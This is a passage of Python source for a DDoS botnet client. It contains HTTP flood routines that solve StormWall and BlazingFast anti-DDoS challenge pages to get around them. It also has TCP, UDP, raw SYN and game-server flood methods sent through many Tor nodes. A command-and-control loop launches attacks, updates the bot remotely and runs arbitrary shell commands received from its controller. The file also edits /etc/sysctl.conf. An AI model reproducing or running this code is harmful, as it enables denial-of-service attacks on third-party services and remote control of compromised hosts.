  836. e = ""
  837. for n in range(len(c)):
  838. a = c[n]
  839. if not type(_rRpct[a]): e += a
  840. else:
  841. o = _rRpct[a] + t
  842. if (o > r): o = o - r - 1
  843. elif (0 > o): o = r + o + 1
  844. e += _rpct[o]
  845. return e
  846.  
  847. def vgD(ch, a):
  848. ref5 = len(_rpct) - 1
  849. s = ch
  850. beforeDiff = ""
  851. for i in range(len(a)):
  852. minutesY = "" + a[i]
  853. beforeDiff = beforeDiff + csr(-1 * s, minutesY)
  854. s = s + 1
  855. if (s > ref5): s = 0
  856. return beforeDiff
  857.  
  858. gTb(abc)
  859. challenge_value = vgD(cookie_key, cookie_exercise)
  860.  
  861. return cookie_name + "=" + challenge_value
  862.  
  863. def challenge(html):
  864. if "reports.stormwall.pro" in html: # check is this a challenge page
  865. cookie_exercise = html.split('const cE = "', 1)[1].split('";')[0]
  866. cookie_key = html.split('const cK = ', 1)[1].split(';')[0]
  867. cookie_name = html.split('const cN = "', 1)[1].split('";')[0]
  868. #cookie_end = html.split('const cO = "', 1)[1].split('";')[0]
  869. cookie = execute_challenge(cookie_exercise, cookie_key, cookie_name)
  870. self.request.set_header('Cookie', cookie)
  871. print('stormwall cookie is ', cookie)
  872.  
  873. while True:
  874. self.sock.send(self.request.compose())
  875. time.sleep(random.randint(5,10))
  876. challenge(self.recieve())
  877.  
  878. def http_blazingfast(self, min_sleep=4, max_sleep=8):
  879.  
  880. def execute_challenge(html, self):
  881. cookie = html.split('Set-Cookie: ', 1)[1].split(';')[0]
  882. self.request.set_header('Cookie', cookie)
  883.  
  884. print('Blazingfast cookie is ', cookie)
  885.  
  886. challenge_path = html.split('xhr.open("GET","', 1)[1].split('",', 1)[0].replace('" + ww +"', "1906")
  887. self.request.set_path(challenge_path)
  888.  
  889. print("Blazingfast challenge path is ", challenge_path)
  890.  
  891. self.sock.close()
  892. raise
  893.  
  894. def execute_challenge_two(html, self):
  895. aes_key = html.split('a=toNumbers("', 1)[1].split('"')[0]
  896. aes_iv = html.split('b=toNumbers("', 1)[1].split('"')[0]
  897. encoded = html.split('c=toNumbers("', 1)[1].split('"')[0]
  898. cookie = html.split('document.cookie', 1)[1].split('"')[1].split('"')[0]
  899.  
  900. print("BlazingFast challenge two: AES_KEY", aes_key, "AES_IV", aes_iv, " | encoded", encoded, "cookie", cookie)
  901.  
  902. decrypted_cookie = cookie + decryptAES(aes_key, aes_iv, encoded)
  903. self.request.add_cookie(decrypted_cookie)
  904.  
  905. print("BlazingFast challenge two: decrypted_cookie", decrypted_cookie)
  906.  
  907. def challenge(html, self):
  908. if "DDoS Protection by</font> Blazingfast.io" in html: # check is this a challenge page
  909. print("Got challenge page")
  910. execute_challenge(html, self)
  911. else:
  912. if 'BFCrypt' in html:
  913. self.request.path = '/'
  914. print("Blazingfast passing challenge two")
  915. execute_challenge_two(html, self)
  916. else:
  917. #print html[500:]
  918. print("[OK] No BlazingFast shield detected or protection is bypassed")
  919. print("URL", self.request.path, "cookies", self.request.get_cookies())
  920.  
  921. while True:
  922. self.sock.send(self.request.compose())
  923. time.sleep(random.randint(min_sleep,max_sleep))
  924. challenge(self.recieve(), self)
  925.  
  926. def http_testcookie(self):
  927.  
  928. def challenge(html):
  929. if "<script>document.cookie=" in html[:500]: # check is this a challenge page
  930. cookie = html.split('<script>document.cookie="', 1)[1].split('"')[0]
  931. path = '/?' + html.split('document.location.href="', 1)[1].split('"')[0].split("?")[1]
  932. print("Got challenge page with cookie", cookie, 'and path', path)
  933.  
  934. self.request.path = path
  935. self.request.set_header("Cookie", cookie)
  936. else:
  937. #print html[:500]
  938. print("[OK] No shield detected or protection is bypassed")
  939. print("URL", self.request.path, "cookies", self.request.get_cookies())
  940. self.request.path = '/'
  941.  
  942. while True:
  943. self.sock.send(self.request.compose())
  944. time.sleep(random.randint(1,4))
  945. challenge(self.recieve())
  946.  
  947. def http_fastget(self):
  948. data = self.request.compose()
  949. while True:
  950. self.sock.send(data)
  951. time.sleep(0.02)
  952.  
  953. def http_pipeget(self):
  954. data = self.request.compose() * 99
  955. while True:
  956. self.sock.send(data)
  957. time.sleep(0.2)
  958.  
  959. def http_pipeold(self):
  960. self.sock.send(self.request.compose() * 99)
  961.  
  962. def http_megapipe(self):
  963. data = self.request.compose() * 99
  964. while True:
  965. self.sock.send(data)
  966. time.sleep(0.1)
  967.  
  968. def http_slow(self):
  969. request = "\r\n".join([
  970. "GET /%s HTTP/1.1" % self.path,
  971. "Host: %s" % self.host,
  972. "User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0",
  973. "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
  974. "Accept-Language: en-US,en;q=0.5"
  975. ])
  976. self.sock.send(request)
  977.  
  978. while True:
  979. try:
  980. self.sock.send("Cookie: %d=%s\r\n" % (random.randint(1, 900), random_char(random.randint(1, 5))))
  981. time.sleep(0.2)
  982. except:
  983. break
  984.  
  985.  
  986.  
  987.  
  988.  
  989.  
  990.  
  991.  
  992.  
  993.  
  994.  
  995.  
  996.  
  997.  
  998.  
  999.  
  1000.  
  1001.  
  1002.  
  1003.  
  1004.  
  1005.  
  1006.  
  1007.  
  1008.  
  1009.  
  1010.  
  1011.  
  1012.  
  1013.  
  1014.  
  1015.  
  1016.  
  1017.  
  1018.  
  1019.  
  1020.  
  1021.  
  1022.  
  1023.  
  1024.  
  1025.  
  1026.  
  1027.  
  1028.  
  1029.  
  1030.  
  1031.  
  1032.  
  1033.  
  1034. class TCP_Flood():
  1035. def __init__(self, proxyport, tor, target, flood_type, dataLenght=0):
  1036. self.sock = None
  1037. self.target = target
  1038. self.flood_type = flood_type
  1039. self.proxyport = proxyport
  1040. self.dataLenght = dataLenght
  1041. self.timeout = 5
  1042. self.tor = tor
  1043. self.run()
  1044.  
  1045. def start(self):
  1046. if not self.dataLenght:
  1047. self.dataLenght = random.randint(100,1000)
  1048. if self.flood_type == 'JUNK':
  1049. self.sendJunk()
  1050. if self.flood_type == 'JUNKSLOW':
  1051. self.sendJunk()
  1052. elif self.flood_type == 'HOLD':
  1053. self.sendHold()
  1054. elif self.flood_type == 'MCPING':
  1055. self.sendMCPING()
  1056. elif self.flood_type == 'MCBOT':
  1057. self.sendMCBOT()
  1058. elif self.flood_type == 'XJUNK':
  1059. self.sendXJunk()
  1060. elif self.flood_type == 'L4BIGSYN':
  1061. self.sendL4BIGSYN()
  1062. elif self.flood_type == 'L4FASTSYN':
  1063. self.sendL4FASTSYN()
  1064. elif self.flood_type == 'OVHLAG':
  1065. self.sendOVHLAG()
  1066. elif self.flood_type == 'L4RAW':
  1067. self.sendL4RAW()
  1068. elif self.flood_type == 'UDP':
  1069. self.sendUDP()
  1070. else:
  1071. print 'Unknown flood:', self.flood_type
  1072. return True
  1073.  
  1074. def stop(self):
  1075. try:
  1076. self.sock.close()
  1077. except:
  1078. pass
  1079. try:
  1080. del self.dataLenght
  1081. del self.sock
  1082. del self.proxyport
  1083. del self.tor
  1084. del self.flood_type
  1085. del self.target
  1086. except:
  1087. pass
  1088.  
  1089. def connect(self):
  1090. try:
  1091. if 'UDP' in self.flood_type:
  1092. self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  1093. return True
  1094. if 'L4' in self.flood_type:
  1095. self.sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
  1096. return True
  1097.  
  1098. self.sock = socks.socksocket()
  1099. self.sock.setproxy(socks.PROXY_TYPE_SOCKS5,"127.0.0.1", self.proxyport, self.tor)
  1100. self.sock.settimeout(10)
  1101.  
  1102. if self.flood_type == 'JUNKSLOW':
  1103. time.sleep(random.randint(5,15))
  1104.  
  1105. self.sock.connect(self.target)
  1106.  
  1107. #connects.value += 1
  1108. return True
  1109. except:
  1110. if DEBUG: raise
  1111.  
  1112. def recieve(self, t=3):
  1113. data = ''
  1114. if self.timeout != t:
  1115. self.sock.settimeout(t)
  1116. self.timeout = t
  1117. while True:
  1118. try:
  1119. data += self.sock.recv(65535)
  1120. except:
  1121. break
  1122. return data
  1123.  
  1124. def run(self):
  1125. while True:
  1126. if not self.connect():
  1127. pass
  1128. else:
  1129. try:
  1130. if self.start():
  1131. break
  1132. except Exception as error:
  1133. print "error while starting attack:", error
  1134. self.stop()
  1135.  
  1136. def sendJunk(self):
  1137. closed = False
  1138. junk_data = '\x7f' * 2048
  1139. while not closed:
  1140. try:
  1141. self.sock.send(junk_data)
  1142. time.sleep(0.05)
  1143. #sent.value += 1
  1144. #if self.dataLenght == 666:
  1145. # closed = True
  1146. # break
  1147. except Exception as error:
  1148. closed = True
  1149. break
  1150.  
  1151. def sendXJunk(self):
  1152. closed = False
  1153. junk_data = "\x12" * 8192
  1154. while not closed:
  1155. for i in range(1000):
  1156. try:
  1157. self.sock.sendall(junk_data)
  1158. #sent.value += 1
  1159. time.sleep(0.1)
  1160. except Exception as error:
  1161. closed = True
  1162. break
  1163.  
  1164. def sendMCBOT(self):
  1165. mc_packet = "\x12\x00/\x0c188.228.88.8\x03\xe3\x02\x0b\x00\t" + random_char(9)
  1166. try:
  1167. self.sock.send(mc_packet)
  1168. #sent.value += 1
  1169. time.sleep(0.25)
  1170. self.sock.close()
  1171. del self.sock
  1172. except:
  1173. pass
  1174.  
  1175. def sendMCPING(self):
  1176. ping_packet = "\x13\x00\x05\r11.228.228.11c\xdd\x01\x01\x00"
  1177. try:
  1178. self.sock.send(ping_packet)
  1179. #sent.value += 1
  1180. time.sleep(0.7)
  1181. self.sock.close()
  1182. del self.sock
  1183. except:
  1184. pass
  1185.  
  1186. def sendUDP(self):
  1187. closed = False
  1188. junk_data = str(bytearray(random.getrandbits(8) for _ in xrange(self.dataLenght)))
  1189. while not closed:
  1190. for i in range(10000):
  1191. try:
  1192. self.sock.sendto(junk_data, self.target)
  1193. #sent.value += 1
  1194. time.sleep(0.002)
  1195. except Exception as error:
  1196. closed = True
  1197. break
  1198.  
  1199. def sendL4BIGSYN(self):
  1200. packet = make_packet(self.target[0], self.target[1], payload='anus'*250, syn=True)
  1201.  
  1202. try:
  1203. while True:
  1204. self.sock.sendto(packet, (self.target[0], 0))
  1205. time.sleep(0.0025)
  1206. except:
  1207. try:
  1208. self.sock.close()
  1209. del self.sock
  1210. except:
  1211. pass
  1212.  
  1213. def sendL4FASTSYN(self):
  1214. packet = make_packet(self.target[0], self.target[1], syn=True)
  1215.  
  1216. try:
  1217. while True:
  1218. self.sock.sendto(packet, (self.target[0], 0))
  1219. except:
  1220. try:
  1221. self.sock.close()
  1222. del self.sock
  1223. except:
  1224. pass
  1225.  
  1226. def sendL4RAW(self):
  1227. packet = make_ip(socket.IPPROTO_TCP, BOT_SOURCE_IP, self.target[0])
  1228.  
  1229. try:
  1230. while True:
  1231. self.sock.sendto(packet, (self.target[0], 0))
  1232. except:
  1233. try:
  1234. self.sock.close()
  1235. del self.sock
  1236. except:
  1237. pass
  1238.  
  1239. def sendOVHLAG(self):
  1240. packet = make_esp(self.target[0])
  1241.  
  1242. try:
  1243. while True:
  1244. self.sock.sendto(packet, (self.target[0], 0))
  1245. except:
  1246. try:
  1247. self.sock.close()
  1248. del self.sock
  1249. except:
  1250. pass
  1251.  
  1252. def sendHold(self):
  1253. time.sleep(20)
  1254.  
  1255.  
  1256.  
  1257.  
  1258.  
  1259.  
  1260.  
  1261.  
  1262.  
  1263.  
  1264.  
  1265.  
  1266.  
  1267.  
  1268.  
  1269.  
  1270.  
  1271.  
  1272.  
  1273.  
  1274.  
  1275.  
  1276.  
  1277.  
  1278.  
  1279.  
  1280.  
  1281.  
  1282.  
  1283.  
  1284.  
  1285.  
  1286. #################################
  1287. # #
  1288. # Attack Starter #
  1289. # #
  1290. #################################
  1291.  
  1292. class Attack():
  1293. def __init__(self, sock_count, attack_data, target, url=None, multiplier=1, endtime=360, run=True):
  1294. self.sock_count = sock_count
  1295. self.attack = attack_data
  1296. self.sockets = []
  1297. self.multiplier = multiplier
  1298. self.state = 'start'
  1299. self.time = time.time()
  1300. self.endtime = self.time + endtime
  1301. self.processes = []
  1302. self.target = target
  1303. self.url = url
  1304.  
  1305. if '.onion' in target[0]:
  1306. self.tor = True
  1307. # CPU hangs if bigger
  1308. #self.sock_count = 400
  1309. else:
  1310. self.tor = False
  1311.  
  1312. print '[MAIN] Created Attack' + self.get()[1]
  1313.  
  1314. if self.run:
  1315. self.run()
  1316.  
  1317. def startProcesses(self):
  1318. for i in range(1): # Starting 1 processes
  1319. self.processes.append(ThreadManager.add_process())
  1320.  
  1321. def run(self):
  1322. self.startAttack()
  1323. self.run = False
  1324.  
  1325. def toDate(self, unixtime):
  1326. return datetime.datetime.fromtimestamp(int(unixtime)).strftime('%H:%M:%S')
  1327.  
  1328. def startThreads(self, target, args):
  1329. attacks.append(self)
  1330. self.startProcesses()
  1331.  
  1332. threads = []
  1333. for sock in range(self.sock_count):
  1334. proxyport = 3050 + sock
  1335. for i in range(self.multiplier):
  1336. threads.append([target, (proxyport,self.tor,self.target)+args])
  1337. chunked_threads = chunks(threads, self.sock_count)# / 1) # Splitting for 1 processes
  1338. # THREADS SPLITTING DISABLED DUE TO HIGH CPU LOAD FROM TOR NODES
  1339. for i in range(1): # PROCESSES
  1340. ThreadManager.start_many(self.processes[i], chunked_threads[i])
  1341. self.state = 'running'
  1342.  
  1343. def startAttack(self):
  1344. global attacks
  1345. method, undermethod = self.attack.split('_')
  1346. if method == 'HTTP':
  1347. self.startThreads(target=HTTP_Flood,args=(undermethod,self.url))
  1348. elif method == 'TCP' and undermethod != 'COMBO':
  1349. self.startThreads(target=TCP_Flood,args=(undermethod,self.url))
  1350. elif method == 'TCP' and undermethod == 'COMBO':
  1351. self.startThreads(target=TCP_Flood,args=('HOLD',self.url))
  1352. self.startThreads(target=TCP_Flood,args=('JUNK',self.url))
  1353. else:
  1354. print 'Not implemented attack:', self.attack
  1355.  
  1356. def get(self):
  1357. return self,'(sock_count={0}, attack_data={1}, target={7}, url={2}, multiplier={3}, tor={4}, state={5}, runtime={6}, endtime={8})'.format(\
  1358. self.sock_count,self.attack,self.url,self.multiplier,self.tor,self.state,self.toDate(self.time),self.target,self.toDate(self.endtime))
  1359.  
  1360. def startTime(self):
  1361. return self.time
  1362.  
  1363. def endTime(self):
  1364. return self.endtime
  1365.  
  1366.  
  1367.  
  1368.  
  1369.  
  1370.  
  1371.  
  1372.  
  1373.  
  1374.  
  1375.  
  1376.  
  1377.  
  1378.  
  1379.  
  1380.  
  1381.  
  1382.  
  1383.  
  1384.  
  1385.  
  1386.  
  1387.  
  1388.  
  1389.  
  1390.  
  1391.  
  1392.  
  1393.  
  1394.  
  1395.  
  1396.  
  1397.  
  1398.  
  1399.  
  1400.  
  1401.  
  1402.  
  1403.  
  1404.  
  1405.  
  1406. #################################
  1407. # #
  1408. # Controller #
  1409. # #
  1410. #################################
  1411.  
  1412. class Controller(object):
  1413. def __init__(self):
  1414. self.connected = False
  1415. self.buff = ''
  1416. self.socket = socket.socket()
  1417. self.socket.settimeout(5)
  1418. self.torManager = ManageTor()
  1419. self.lastpacket = time.time()
  1420. self.run()
  1421.  
  1422. def log(self, msg):
  1423. print('[' + datetime.datetime.now().strftime("%H:%M:%S") + '/Controller] {0}'.format(msg))
  1424.  
  1425. def connect(self):
  1426. while not self.connected and not stop:
  1427. try:
  1428. self.socket.connect(ControllerIP)
  1429. self.connected = 1
  1430. self.log('Connected')
  1431. self.lastpacket = time.time()
  1432. self.socket.send(chr(222))
  1433. return True
  1434. except Exception as error:
  1435. self.log('Error while connecting: ' + str(error))
  1436. time.sleep(5)
  1437.  
  1438. def run(self):
  1439. self.connect()
  1440. if not self.connected:
  1441. return
  1442. while not stop:
  1443. time.sleep(0.5)
  1444. self.recv()
  1445. self.checkConnection()
  1446. self.stop()
  1447.  
  1448. def stop(self):
  1449. self.reconnect(1)
  1450.  
  1451. def restart(self):
  1452. global stop
  1453. stop = True
  1454. os.execv(sys.executable, ['python', 'bot'])
  1455.  
  1456. def update_bot(self, data):
  1457. if data['version'] > VERSION:
  1458. self.log('Updating...\n')
  1459. Files().new('bot', base64.b64decode(data['file']))
  1460. self.stop()
  1461. self.restart()
  1462. self.log('Bot is up-to-date')
  1463. return True
  1464.  
  1465. def send(self, packet_id, data):
  1466. if not self.connected:
  1467. return False
  1468. try:
  1469. self.socket.send(packet_id + str(data) + '\r')
  1470. except Exception as error:
  1471. self.log('Error while connecting: ' + str(error))
  1472. time.sleep(1)
  1473. self.reconnect()
  1474.  
  1475. def reconnect(self, stop=0):
  1476. self.log('Connection went down')
  1477. self.connected = 0
  1478.  
  1479. try:
  1480. self.socket.close()
  1481. del self.socket
  1482. except:
  1483. pass
  1484. if stop:
  1485. self.stop_attacks()
  1486. return
  1487.  
  1488. self.socket = socket.socket()
  1489.  
  1490. while not stop:
  1491. if self.connect():
  1492. break
  1493. time.sleep(1)
  1494.  
  1495. def checkConnection(self):
  1496. if time.time() - self.lastpacket > 30:
  1497. self.log('Seems like connection timed out')
  1498. self.reconnect()
  1499.  
  1500. def recv(self):
  1501. try:
  1502. ss = select.select
  1503. inputready, outputready, exceptready = ss([self.socket], [], [], 0.5)
  1504. for self.s in inputready:
  1505. try:
  1506. self.data = self.s.recv(65535)
  1507. except Exception as e:
  1508. self.reconnect()
  1509. break
  1510. if len(self.data) == 0:
  1511. self.reconnect()
  1512. break
  1513. else:
  1514. self.buff += self.data
  1515. if self.buff[-1:] != '\r': continue
  1516. for i in self.buff.split('\r'):
  1517. if i == '': continue
  1518. self.data = i
  1519. self.read(i)
  1520. self.buff = ''
  1521. except Exception as error:
  1522. self.log('Error while reading: ' + str(error) + '| data: ' + str([self.buff]))
  1523. self.buff = '' # clear buffer
  1524. time.sleep(1)
  1525. self.reconnect()
  1526.  
  1527. def manage_tor(self, data):
  1528. if data['type'] == 'start' and not self.torManager.isStarting(): # Starting nodes
  1529. Thread(target=self.torManager.startNodes,args=(data['sock_count'],)).start()
  1530. if data['type'] == 'state':
  1531. return self.torManager.checkNodes()
  1532.  
  1533. def manage_attacks(self):
  1534. global attacks
  1535. stopped = []
  1536. for attack in attacks:
  1537. if time.time() > attack.endTime():
  1538. self.log('Attack' + attack.get()[1] + ' stopped')
  1539. stopped.append(attack)
  1540. for attack in stopped:
  1541. for process in attack.processes:
  1542. ThreadManager.stop(process)
  1543. attacks.remove(attack)
  1544.  
  1545. def stop_attacks(self):
  1546. global attacks
  1547. for attack in attacks:
  1548. for process in attack.processes:
  1549. ThreadManager.stop(process)
  1550. attacks = []
  1551. self.log('Stopping all attacks')
  1552.  
  1553. def get_attacks(self):
  1554. attacks_temp = []
  1555. for attack in attacks:
  1556. attacks_temp.append(attack.get()[1])
  1557. return attacks_temp
  1558.  
  1559. def start_attack(self, data):
  1560. target = (data['target'][0], int(data['target'][1]))
  1561. Attack(data['sock_count'], data['method'], target, data['url'], data['multiplier'], data['time'])
  1562. return True
  1563.  
  1564. def read(self, data):
  1565. try:
  1566. answer = "NONE"
  1567. packet_id = data[:1]
  1568. if len(data) > 6:
  1569. packet_data = ast.literal_eval(data[1:])
  1570. else:
  1571. packet_data = {}
  1572. except Exception as e:
  1573. print [data]
  1574. self.log('Exception while decoding RX packet: ' + str(e))
  1575. return
  1576.  
  1577. if packet_id == "\x00": # Keep Alive & Stats
  1578. self.manage_attacks()
  1579. with lock:
  1580. #answer = (connects.value, sent.value)
  1581. #connects.value = 0
  1582. #sent.value = 0
  1583. answer = (0,1111)
  1584.  
  1585. elif packet_id == "\x01": # Get Info
  1586. answer = MachineInfo().get('all')
  1587.  
  1588. elif packet_id == "\x02": # Start Attack
  1589. answer = self.start_attack(packet_data)
  1590.  
  1591. elif packet_id == "\x03": # Multiply Attack
  1592. pass # not implemented yet
  1593.  
  1594. elif packet_id == "\x04": # Stop Attacks
  1595. answer = self.stop_attacks()
  1596.  
  1597. elif packet_id == "\x05": # Get Attacks
  1598. answer = self.get_attacks()
  1599.  
  1600. elif packet_id == "\x06": # Update Bot
  1601. answer = self.update_bot(packet_data)
  1602.  
  1603. elif packet_id == "\x07": # Manage Tor
  1604. answer = self.manage_tor(packet_data)
  1605.  
  1606. elif packet_id == "\x08": # cmd
  1607. answer = commands.getstatusoutput(packet_data['cmd'])[1]
  1608.  
  1609. else:
  1610. self.log('Unknown packet: ' + str([data]))
  1611.  
  1612. if answer != "NONE":
  1613. self.send(packet_id, {'answer': answer})
  1614.  
  1615. self.lastpacket = time.time()
  1616.  
  1617.  
  1618.  
  1619.  
  1620.  
  1621.  
  1622.  
  1623.  
  1624.  
  1625.  
  1626.  
  1627.  
  1628.  
  1629.  
  1630.  
  1631.  
  1632.  
  1633.  
  1634.  
  1635.  
  1636.  
  1637.  
  1638.  
  1639.  
  1640.  
  1641.  
  1642.  
  1643.  
  1644.  
  1645.  
  1646.  
  1647.  
  1648.  
  1649.  
  1650.  
  1651.  
  1652.  
  1653.  
  1654.  
  1655.  
  1656. #################################
  1657. # #
  1658. # Helpers #
  1659. # #
  1660. #################################
  1661.  
  1662. sysctl_confs = '''
  1663. net.netfilter.nf_conntrack_max=5242880
  1664. net.netfilter.nf_conntrack_tcp_timeout_syn_sent = 3
  1665. net.netfilter.nf_conntrack_tcp_timeout_syn_recv = 3
  1666. net.ipv4.tcp_synack_retries=1
  1667. net.ipv4.tcp_max_orphans=400000
  1668. net.ipv4.tcp_max_syn_backlog=16384
  1669. net.ipv4.route.flush=1
  1670. net.ipv4.tcp_no_metrics_save = 1
  1671. net.ipv4.ip_local_port_range = 1024 65535
  1672. net.ipv4.netfilter.ip_conntrack_tcp_timeout_time_wait = 1
  1673. '''
  1674.  
  1675. os.system('ulimit -n 65535')
  1676.  
  1677. def fix_sysctl():
  1678. sysctl = open('/etc/sysctl.conf', 'a')
  1679. sysctl_conf = open('/etc/sysctl.conf', 'r').read()
  1680. if sysctl_confs not in sysctl_conf:
  1681. sysctl.write(sysctl_confs)
  1682. sysctl.close()
  1683. os.system('sysctl -p')
  1684. print '[MAIN] Fixed sysctl'
  1685.  
  1686. def check_hang():
  1687. global stop
  1688. hang = -6
  1689. while not stop:
  1690. if hang > 1:
  1691. stop = 1
  1692. try:
  1693. os.system('killall -9 tor')
  1694. os.system('killall -9 python')
  1695. except:
  1696. pass
  1697. print '[!!!] RESTARTING, HANG DETECTED'
  1698. else:
  1699. try:
  1700. sock = socks.socksocket()
  1701. sock.connect(('google.com', 80))
  1702. sock.close()
  1703. hang = -6
  1704. time.sleep(60)
  1705. except:
  1706. hang += 1
  1707.  
  1708. def varint_pack(d):
  1709. o = b''
  1710. while True:
  1711. b = d & 0x7F
  1712. d >>= 7
  1713. o += struct.pack("B", b | (0x80 if d > 0 else 0))
  1714. if d == 0:
  1715. break
  1716. return o
  1717.  
  1718. def data_pack(data):
  1719. return varint_pack(len(data)) + data
  1720.  
  1721. class MachineInfo(object):
  1722. def __init__(self):
  1723. pipe = os.popen('free -t -m')
  1724. self.cpuinfo = open('/proc/cpuinfo').read()
  1725. self.raminfo = map(int, pipe.readlines()[-1].split()[1:])
  1726. pipe.close()
  1727. self.info = {}
  1728. self.fetch()
  1729.  
  1730. def fetch(self):
  1731. self.fetchCPU()
  1732. self.fetchRAM()
  1733. self.fetchVAL()
  1734.  
  1735. def fetchCPU(self):
  1736. self.info['cpu_cores'] = self.cpuinfo.count('processor\t:')
  1737. cpu_model = None
  1738. for cpu in self.cpuinfo.split(': '):
  1739. if 'CPU' in cpu:
  1740. cpu_model = cpu.split('\n')[0]
  1741. self.info['cpu_model'] = cpu_model
  1742. self.info['cpu_load'] = os.getloadavg()
  1743.  
  1744. def fetchRAM(self):
  1745. self.info['ram_total'] = self.raminfo[0]
  1746. self.info['ram_used'] = self.raminfo[1]
  1747. self.info['ram_free'] = self.raminfo[2]
  1748.  
  1749. def fetchVAL(self):
  1750. self.info['MAX_TOR_NODES'] = MAX_TOR_NODES
  1751.  
  1752. def get(self, value):
  1753. try:
  1754. return self.info[value]
  1755. except:
  1756. if value == 'all':
  1757. return self.info
  1758.  
  1759. # Get probably max count of nodes depending on RAM
  1760. MAX_TOR_NODES = int(round(MachineInfo().get('ram_total') / 20))
  1761.  
  1762. if MAX_TOR_NODES > 1000:
  1763. MAX_TOR_NODES = 1000
  1764.  
  1765. print '[MAIN] Maximum Nodes:', MAX_TOR_NODES
  1766.  
  1767. def getValue(lst, val):
  1768. find = []
  1769. for strng in lst:
  1770. if val in strng:
  1771. find.append(strng.split(val)[1])
  1772. return find
  1773.  
  1774. def parseHeaders(data):
  1775. headers = data.split('\r\n')
  1776. return headers
  1777.  
  1778. def parseCookies(data):
  1779. headers, body = data.split('\r\n\r\nee\r\n')
  1780. tempbody = body.replace(' ', '')
  1781. cookies = 'uk=%s; ' % tempbody.split('=')[3].split('"')[0]
  1782. headers = parseHeaders(headers)
  1783. headcook = getValue(headers, 'Set-Cookie: ')
  1784. cookies += headcook[0] + '; ' + headcook[1]
  1785. return cookies
  1786.  
  1787. def checkPort(port):
  1788. try:
  1789. test = socket.socket()
  1790. test.bind(('127.0.0.1', port))
  1791. test.close()
  1792. except:
  1793. return False
  1794. return True
  1795.  
  1796. class Files():
  1797. def check(self, file):
  1798. if '.' in file:
  1799. if os.path.exists(file):
  1800. return True
  1801. else:
  1802. if os.path.isdir(file):
  1803. return True
  1804.  
  1805. def new(self, file, data, wr='w'):
  1806. try:
  1807. f = open(file, wr)
  1808. f.write(str(data))
  1809. f.close()
  1810. except:
  1811. return False
  1812. return True
  1813.  
  1814. def mkdir(self, dir):
  1815. try:
  1816. os.makedirs(dir)
  1817. except:
  1818. return False
  1819. return True
  1820.  
  1821. def open(self, file, wr='r'):
  1822. try:
  1823. f = open(file, wr)
  1824. except:
  1825. return False
  1826. return f
  1827.  
  1828. class ManageTor():
  1829. def __init__(self):
  1830. self.main_path = '/etc/tor/'
  1831. self.starting = False
  1832. self.started = False
  1833. self.template = '''
  1834. SocksPort {0}
  1835. DataDirectory {2}
  1836. ExitNodes {3}/32
  1837. RunAsDaemon 1
  1838. StrictNodes 1
  1839. '''
  1840. # ControlPort {1}
  1841.  
  1842. def checkNodes(self):
  1843. if not checkPort(3500):
  1844. return True
  1845. else:
  1846. return False
  1847.  
  1848. def startNode(self, config_path):
  1849. cmd = "nice -n 17 tor -f %s" % config_path
  1850. print '\n[>]', cmd
  1851. pipe = os.popen(cmd)
  1852. try:
  1853. print pipe.read()
  1854. pipe.close()
  1855. except:
  1856. print('pipe error')
  1857.  
  1858. def startNodes(self, count):
  1859. # create tor configuration files
  1860. for i in range(count):
  1861. if not i: continue
  1862.  
  1863. path = self.main_path + 'tor-%d/' % i
  1864. config_path = path + str(i) + '.conf'
  1865. Files().mkdir(path)
  1866.  
  1867. try:
  1868. tor_exit_node = TOR_EXIT_NODES[i]
  1869. except:
  1870. tor_exit_node = random.choice(TOR_EXIT_NODES)
  1871.  
  1872. if not Files().check(config_path):
  1873. config_data = self.template.format(3050 + i, 9060 + i, path, tor_exit_node)
  1874. Files().new(config_path, config_data)
  1875.  
  1876. # fix permissions
  1877. os.system("chmod 700 /etc/tor/tor-*")
  1878.  
  1879. # starting tor nodes
  1880. for i in range(count):
  1881. if not i: continue
  1882.  
  1883. path = self.main_path + 'tor-%d/' % i
  1884. config_path = path + str(i) + '.conf'
  1885.  
  1886. self.startNode(config_path)
  1887. self.starting = True
  1888. self.started = False
  1889.  
  1890. print '[+] Tor nodes started(%d)' % count
  1891. self.starting = False
  1892. self.started = True
  1893.  
  1894. def getState(self):
  1895. return self.started
  1896.  
  1897. def isStarting(self):
  1898. return self.starting
  1899.  
  1900. class AsyncThreadManager:
  1901.  
  1902. def __init__(self):
  1903. self.processes = Manager().dict()
  1904.  
  1905. def stop(self, process):
  1906. if self.processes[process]['state'] == 'running':
  1907. with lock: self.processes[process] = {'tasks': [], 'state': 'stopping'}
  1908.  
  1909. def add_process(self):
  1910. process = AsyncThread(self.processes)
  1911. process.start()
  1912. with lock: self.processes[process.pid] = {'tasks': [], 'state': 'running'}
  1913. return process.pid
  1914.  
  1915. def add_task(self, process, task):
  1916. tasks = self.processes[process]['tasks']
  1917. tasks.append(task)
  1918. with lock: self.processes[process] = {'tasks': tasks, 'state': 'running'}
  1919.  
  1920. def start(self, process, worker, args=()):
  1921. self.add_task(process, {'worker': worker, 'args': args})
  1922.  
  1923. def start_many(self, process, workerArgs):
  1924. tasks = self.processes[process]['tasks']
  1925. for worker, args in workerArgs:
  1926. tasks.append({'worker': worker, 'args': args})
  1927. with lock:
  1928. self.processes[process] = {'tasks': tasks, 'state': 'running'}
  1929.  
  1930. def stopall(self):
  1931. for process in self.processes.keys():
  1932. self.stop(process)
  1933. time.sleep(0.3)
  1934.  
  1935. ThreadManager = AsyncThreadManager()
  1936.  
  1937. class AsyncThread(Process):
  1938.  
  1939. def __init__(self, processes):
  1940. super(AsyncThread, self).__init__()
  1941. self.startTime = time.time()
  1942. self.processes = processes
  1943.  
  1944. def startThread(self, task):
  1945. Thread(target=task['worker'], args=task['args']).start()
  1946.  
  1947. def removeTask(self, task):
  1948. tasks = self.processes[self.pid]['tasks']
  1949. tasks.remove(task)
  1950. self.processes[self.pid] = {'tasks': tasks, 'state': 'running'}
  1951.  
  1952. def run(self):
  1953. while self.processes[self.pid]['state'] == 'running':
  1954. with lock:
  1955. tasks = self.processes[self.pid]['tasks']
  1956. for task in tasks:
  1957. self.startThread(task)
  1958. #print 'start', task
  1959. if self.processes[self.pid]['state'] != 'running':
  1960. break
  1961. if self.processes[self.pid]['state'] == 'running':
  1962. self.processes[self.pid] = {'tasks': [], 'state': 'running'}
  1963. time.sleep(0.1)
  1964.  
  1965. def checkTorVersion():
  1966. try:
